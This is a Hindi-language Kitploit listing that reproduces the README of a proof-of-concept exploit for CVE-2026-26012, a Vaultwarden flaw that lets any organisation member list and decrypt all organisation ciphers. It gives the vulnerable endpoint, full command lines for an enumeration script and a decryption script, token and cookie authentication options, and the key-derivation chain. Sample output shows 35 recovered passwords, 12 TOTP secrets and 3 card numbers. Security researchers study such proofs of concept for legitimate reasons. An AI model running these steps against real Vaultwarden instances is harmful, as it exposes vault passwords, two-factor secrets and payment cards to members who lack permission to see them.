Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/dulieno/cve-2026-26012
भेद्यता विश्लेषणशोषणवेब सुरक्षाक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubdulieno/cve-2026-26012

CVE-2026-26012

CVE-2026-26012 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Vaultwarden में एक टूटा हुआ एक्सेस कंट्रोल जो किसी भी संगठन सदस्य को सभी सिफरों की गणना और डिक्रिप्ट करने की अनुमति देता है, संग्रह अनुमतियों को बायपास करते हुए।

रिपॉजिटरी देखें
1147 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-26012 — Vaultwarden सिफर एन्यूमरेशन PoC

AI Assisted License

संगठन संग्रह अनुमतियों को अनदेखा करते हुए पूर्ण सिफर एन्यूमरेशन

CVE-2026-26012 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Vaultwarden (<= 1.35.2) में एक टूटा हुआ एक्सेस कंट्रोल भेद्यता है, जो किसी भी संगठन सदस्य को संग्रह-स्तरीय अनुमतियों की परवाह किए बिना संगठन के भीतर सभी सिफर को पुनर्प्राप्त और डिक्रिप्ट करने की अनुमति देता है।

🤖 नोट: यह प्रोजेक्ट Claude 3 Opus की सहायता से विकसित किया गया था। कोड जनरेशन, आर्किटेक्चरल संरचना और दस्तावेज़ीकरण के लिए AI का उपयोग किया गया था। सभी आउटपुट की मैन्युअल रूप से समीक्षा की गई है और गुणवत्ता आश्वासन के लिए परीक्षण किया गया है।

अवलोकन

CVECVE-2026-26012
एडवाइज़रीGHSA-h265-g7rm-h337
प्रभावितVaultwarden ≤ 1.35.2
इसमें ठीक किया गया1.35.3
CVSS 3.16.5 (मध्यम) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — गलत प्राधिकरण
श्रेय@odgrso द्वारा खोजा गया, @BlackDex द्वारा ठीक किया गया

भेद्यता

API एंडपॉइंट GET /api/ciphers/organization-details किसी भी संगठन सदस्य के लिए सुलभ है। आंतरिक रूप से, यह Cipher::find_by_org को कॉल करता है जो संगठन में सभी सिफर लौटाता है, फिर उन्हें CipherSyncType::Organization के साथ संग्रह-स्तरीय एक्सेस कंट्रोल लागू किए बिना परोसता है।

चूंकि सभी संगठन सिफर एक ही संगठन एन्क्रिप्शन कुंजी साझा करते हैं (जो हर सदस्य को शामिल होने पर प्राप्त होती है), लीक हुए सिफर को क्लाइंट-साइड पर पूरी तरह से डिक्रिप्ट किया जा सकता है।

नियमित संगठन सदस्य ("Public" संग्रह तक सीमित)
    │
    ├── GET /api/sync                     → 5 सिफर (सही)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47 सिफर (सभी संगठन सिफर — बग)
                  └──→ प्रतिबंधित संग्रहों से 42 सिफर (लीक)
                        └──→ सदस्य के पास पहले से मौजूद संगठन कुंजी से डिक्रिप्ट करने योग्य

रिपॉजिटरी सामग्री

.
├── README.md                   # यह फ़ाइल
├── poc_cve_2026_26012.py       # चरण 1: सिफर एन्यूमरेशन और लीक का पता लगाना
├── poc_decrypt.py              # चरण 2: संगठन कुंजी पुनर्प्राप्ति और सिफर डिक्रिप्शन
└── LICENSE

आवश्यकताएँ

  • Python 3.8+
  • cryptography (चरण 2 डिक्रिप्शन के लिए)
  • argon2-cffi (केवल तभी जब लक्ष्य इंस्टेंस Argon2id KDF का उपयोग करता है)
pip install cryptography
pip install argon2-cffi  # वैकल्पिक

उपयोग

चरण 1 — लीक हुए सिफर की गणना करें

सामान्य /api/sync एंडपॉइंट द्वारा लौटाए गए सिफर की तुलना भेद्य /api/ciphers/organization-details एंडपॉइंट से करके पता लगाता है कि इंस्टेंस भेद्य है या नहीं।

# ब्राउज़र के माध्यम से प्रमाणित करें (SSO + 2FA समर्थित), फिर Bearer टोकन पास करें
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
सभी प्रमाणीकरण विकल्प
# Bearer टोकन (अनुशंसित — SSO + 2FA के साथ काम करता है)
--token "eyJhbGciOi..."

# सत्र कुकी
--cookie "VAULTWARDEN_SESSION=abc123..."

# रॉ Cookie हेडर (एकाधिक कुकीज़)
--cookie-header "session=abc; token=xyz"

# सीधा पासवर्ड लॉगिन (केवल NO SSO, NO 2FA)
--email [email protected] --password "MasterPassword"

अपना Bearer टोकन कैसे निकालें:

  1. Vaultwarden वेब वॉल्ट में लॉग इन करें (हमेशा की तरह SSO + 2FA पूरा करें)
  2. ब्राउज़र DevTools (F12) → Network टैब खोलें
  3. API कॉल ट्रिगर करने के लिए वॉल्ट में कोई भी आइटम क्लिक करें
  4. /api/... के लिए एक अनुरोध खोजें और Authorization हेडर मान कॉपी करें
अतिरिक्त विकल्प
--no-verify-ssl     # SSL सत्यापन छोड़ें (स्व-हस्ताक्षरित प्रमाणपत्र)
--show-all          # वैध रूप से सुलभ सिफर भी प्रदर्शित करें
--max-display 50    # दिखाने के लिए अधिकतम लीक सिफर की संख्या (डिफ़ॉल्ट: 20)
--output results.json  # पूर्ण परिणाम JSON में निर्यात करें

चरण 2 — लीक हुए सिफर डिक्रिप्ट करें

संगठन एन्क्रिप्शन कुंजी पुनर्प्राप्त करता है और चरण 1 से सभी लीक हुए सिफर डिक्रिप्ट करता है।

python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

नोट: --master-password आपका Vaultwarden मास्टर पासवर्ड है, जिसका उपयोग डिक्रिप्शन कुंजी श्रृंखला प्राप्त करने के लिए स्थानीय रूप से किया जाता है। इसे कभी भी नेटवर्क पर नहीं भेजा जाता है। --token API प्रमाणीकरण संभालता है।

समस्या निवारण: यदि कुंजी डिक्रिप्शन विफल हो जाता है, तो प्रत्येक चरण पर मध्यवर्ती मान देखने के लिए --debug जोड़ें। स्क्रिप्ट विभिन्न खाता आयु और कॉन्फ़िगरेशन को संभालने के लिए स्वचालित रूप से 5 रणनीतियाँ (HKDF आधुनिक, HMAC विरासत, रॉ कुंजी, और HMAC-स्किप वेरिएंट) आज़माती है।

वैकल्पिक: संगठन कुंजी सीधे प्रदान करें

यदि आपके पास पहले से 64-बाइट संगठन कुंजी (128 हेक्स वर्ण) है:

python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

उदाहरण आउटपुट

[*] === कुंजी पुनर्प्राप्ति श्रृंखला ===

[1/6] KDF पैरामीटर प्राप्त करना...
       KDF: PBKDF2-SHA256, पुनरावृत्तियाँ: 600000
[2/6] मास्टर कुंजी प्राप्त करना...
[3/6] मास्टर कुंजी स्ट्रेच करना (HKDF-Expand)...
[4/6] /api/sync से एन्क्रिप्टेड कुंजियाँ प्राप्त करना...
       संगठन: ACME Corp
[5/6] उपयोगकर्ता सममित कुंजी डिक्रिप्ट करना...
[6/6] RSA निजी कुंजी डिक्रिप्ट करना → संगठन कुंजी...

[+] संगठन कुंजी सफलतापूर्वक पुनर्प्राप्त!

[*] 42 सिफर डिक्रिप्ट करना...

============================================================
  डिक्रिप्शन परिणाम
============================================================
  कुल:      42
  डिक्रिप्टेड: 42
  त्रुटियाँ:    0

  प्रभाव सारांश
  पुनर्प्राप्त पासवर्ड:     35
  पुनर्प्राप्त TOTP रहस्य:  12
  पुनर्प्राप्त कार्ड नंबर:  3
============================================================

यह कैसे काम करता है

कुंजी व्युत्पत्ति श्रृंखला

प्रत्येक संगठन सदस्य के पास पहले से ही संगठन की सममित कुंजी होती है, जो उनकी RSA सार्वजनिक कुंजी से एन्क्रिप्टेड होती है। डिक्रिप्शन श्रृंखला है:

मास्टर पासवर्ड + ईमेल
    │  PBKDF2-SHA256 या Argon2id
    ▼
मास्टर कुंजी (32 बाइट्स)
    │  HKDF-Expand-SHA256
    ▼
स्ट्रेच्ड कुंजी: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (profile.key डिक्रिप्ट करता है)
    ▼
उपयोगकर्ता सममित कुंजी: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (profile.privateKey डिक्रिप्ट करता है)
    ▼
RSA निजी कुंजी (2048-बिट PKCS#8 DER)
    │  RSA-OAEP-SHA1 (profile.organizations[].key डिक्रिप्ट करता है)
    ▼
संगठन कुंजी: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
डिक्रिप्टेड सिफर डेटा

संग्रह ACL डेटा की सुरक्षा क्यों नहीं करता

Bitwarden/Vaultwarden मॉडल में, संगठन में सभी सिफर एक ही एन्क्रिप्शन कुंजी साझा करते हैं। संग्रह-आधारित एक्सेस कंट्रोल केवल सर्वर-साइड पर लागू किया जाता है — क्रिप्टोग्राफ़िक मॉडल संग्रह सीमाओं को लागू नहीं करता है। कोई भी सदस्य जिसके पास संगठन कुंजी है, संगठन में किसी भी सिफर को डिक्रिप्ट कर सकता है। यह CVE सर्वर-साइड फ़िल्टर को बायपास करता है, जिससे सभी सिफर किसी भी सदस्य को उजागर हो जाते हैं।

क्या डिक्रिप्ट होता है

टूल डाउनलोड करें